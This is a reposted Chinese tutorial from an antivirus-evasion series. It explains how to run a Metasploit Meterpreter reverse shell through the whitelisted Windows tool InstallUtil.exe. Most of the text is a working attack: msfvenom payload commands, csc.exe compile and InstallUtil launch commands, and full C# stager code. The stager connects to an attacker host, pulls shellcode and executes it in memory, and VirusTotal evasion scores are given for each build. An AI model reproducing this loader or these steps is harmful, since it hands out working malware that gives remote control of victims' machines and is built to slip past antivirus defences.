远控免杀专题(36)-白名单InstallUtil.exe执行payload(VT免杀率3-68)

Angelica

本文转载自：Tide安全团队
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
文章打包下载及相关软件下载：https://github.com/TideSec/BypassAntiVirus

免杀能力一览表

几点说明：
1、上表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01)，火绒版本5.0.34.16(2020.01.01)，360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。

一、InstallUtil.exe介绍

InstallUtil.exe算是免杀白名单里使用比较多的一个了，InstallUtil.exe可以用于安装有.NET开发的所有应用安装程序，如果要使用 .NET Framework 开发 Windows 服务，则可以使用installutil.exe命令行快速安装服务应用程序。
metasploit自带的evasion免杀模块，就提供了windows/applocker_evasion_install_util来直接创建InstallUtil.exe可加载的payload，详见远控免杀专题文章(4)-Evasion模块免杀(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ
另外，专题20里的GreatSCT也提供了基于InstallUtil.exe的免杀:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

二、使用CSC+InstallUtil执行shellcode(VT免杀率33/71)

用的比较多的是CSC.exe+InstallUtil.exe加载shellcode，流程为：msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。之前backlion师傅和亮神都介绍过这种方法。
先通过msfvenom生成C＃的shellcode

1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f csharp

复制代码

下载InstallUtil-Shellcode.cs
wget https://raw.githubusercontent.co ... llUtil-Shellcode.cs
将上面生成的shellcode复制到InstallUtil-Shellcode.cs文件中。
使用csc编译InstallUtil-ShellCode.cs

1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs

复制代码

编译生成的shell.exe直接执行是不行的，需要使用InstallUtil.exe来触发。
使用InstallUtil.exe执行shell.exe，360安全卫士会检测到InstallUtil.exe执行预警，360杀毒和火绒动态和静态均无预警。

1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exe

复制代码

msf中可上线



virustotal.com中shell.exe文件33/71个报病毒，这个有点出乎意料。

三、GreatSCT中基于InstallUtil的payload(VT免杀率3/68)

之前我写的专题20里的GreatSCT也提供了基于InstallUtil.exe的免杀:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ，从中提取出了一种cs代码，如下。只需要替换最后的ip和端口就可以。

1. using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;
   
2.         public class xikGyQhiWFtLfea {
   
3.                 public static void Main()
   
4.                 {
   
5.                         while(true)
   
6. {{ MessageBox.Show("doge"); Console.ReadLine();}}
   
7.                 }
   
8.         }
   
9. 
   
10.         [System.ComponentModel.RunInstaller(true)]
    
11.         public class tlVMKernIcgK : System.Configuration.Install.Installer
    
12.         {
    
13.                 public override void Uninstall(System.Collections.IDictionary DfYhOEiegJczVcb)
    
14.                 {
    
15.                         xPdYsYuXnSnGw.poQMzdP();
    
16.                 }
    
17.         }
    
18. 
    
19.         public class xPdYsYuXnSnGw
    
20.         {                [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 JkWcZPjIfoHi,UInt32 QzVLSfv, UInt32 WwZvpI, UInt32 kzasnlrCx);
    
21. [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 pHkjjhGC, UInt32 nvhwAfGRpaan, UInt32 omtHlqvnYUwang,IntPtr RjAkyAqEjlRcyn, UInt32 JCivBCMUx, ref UInt32 HCBPuOkvhoYUG);
    
22. [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wYVgya, UInt32 ikklPOdvYt);
    
23. static byte[] lXsdNPt(string GpvIvURjyADhMjk, int YCtOqjKhKOVx) {
    
24.     IPEndPoint SzcUwwr = new IPEndPoint(IPAddress.Parse(GpvIvURjyADhMjk), YCtOqjKhKOVx);
    
25.     Socket chQxzayBFUMpqt = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    
26.     try { chQxzayBFUMpqt.Connect(SzcUwwr); }
    
27.     catch { return null;}
    
28.     byte[] DlkoUdk = new byte[4];
    
29.     chQxzayBFUMpqt.Receive(DlkoUdk, 4, 0);
    
30.     int AXwxWBmSOrwh = BitConverter.ToInt32(DlkoUdk, 0);
    
31.     byte[] GwvBqMFF = new byte[AXwxWBmSOrwh + 5];
    
32.     int vWjTky = 0;
    
33.     while (vWjTky < AXwxWBmSOrwh)
    
34.     { vWjTky += chQxzayBFUMpqt.Receive(GwvBqMFF, vWjTky + 5, (AXwxWBmSOrwh - vWjTky) < 4096 ? (AXwxWBmSOrwh - vWjTky) : 4096, 0);}
    
35.     byte[] SYFASUFosCHjk = BitConverter.GetBytes((int)chQxzayBFUMpqt.Handle);
    
36.     Array.Copy(SYFASUFosCHjk, 0, GwvBqMFF, 1, 4); GwvBqMFF[0] = 0xBF;
    
37.     return GwvBqMFF;}
    
38. static void mjnxRGlBtgsKaNL(byte[] HCpaoWPeusDevY) {
    
39.     if (HCpaoWPeusDevY != null) {
    
40.         UInt32 VcgiCTPFDF = VirtualAlloc(0, (UInt32)HCpaoWPeusDevY.Length, 0x1000, 0x40);
    
41.         Marshal.Copy(HCpaoWPeusDevY, 0, (IntPtr)(VcgiCTPFDF), HCpaoWPeusDevY.Length);
    
42.         IntPtr syuSYjh = IntPtr.Zero;
    
43.         UInt32 TLwAODfreIhMN = 0;
    
44.         IntPtr IaskpTOKF = IntPtr.Zero;
    
45.         syuSYjh = CreateThread(0, 0, VcgiCTPFDF, IaskpTOKF, 0, ref TLwAODfreIhMN);
    
46.         WaitForSingleObject(syuSYjh, 0xFFFFFFFF); }}
    
47. 
    
48.                 public static void poQMzdP() {
    
49.     byte[] QxKpvX = null; QxKpvX = lXsdNPt("10.211.55.2", 3333);
    
50.     mjnxRGlBtgsKaNL(QxKpvX);
    
51.                 }        }

复制代码

我尝试使用csc.exe进行x86编译出错，于是使用了x64编译，生成shell.exe

1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64  /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:shell.exe /unsafe C:\test\test.cs

复制代码

生成的shell.exe是无法直接执行的，需要使用InstallUtil.exe进行加载。

1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe

复制代码

msf中使用payloadwindows/x64/meterpreter/reverse_tcp，可正常上线。



virustotal.com中shell.exe文件3/68个报病毒

四、参考资料

InstallUtil&csc.exe-bypass application whitelisting：https://pplsec.github.io/2019/03 ... ation-whitelisting/
csharp 编译文件绕过防病毒软件利用手法分析:https://www.jianshu.com/p/0eea57654c30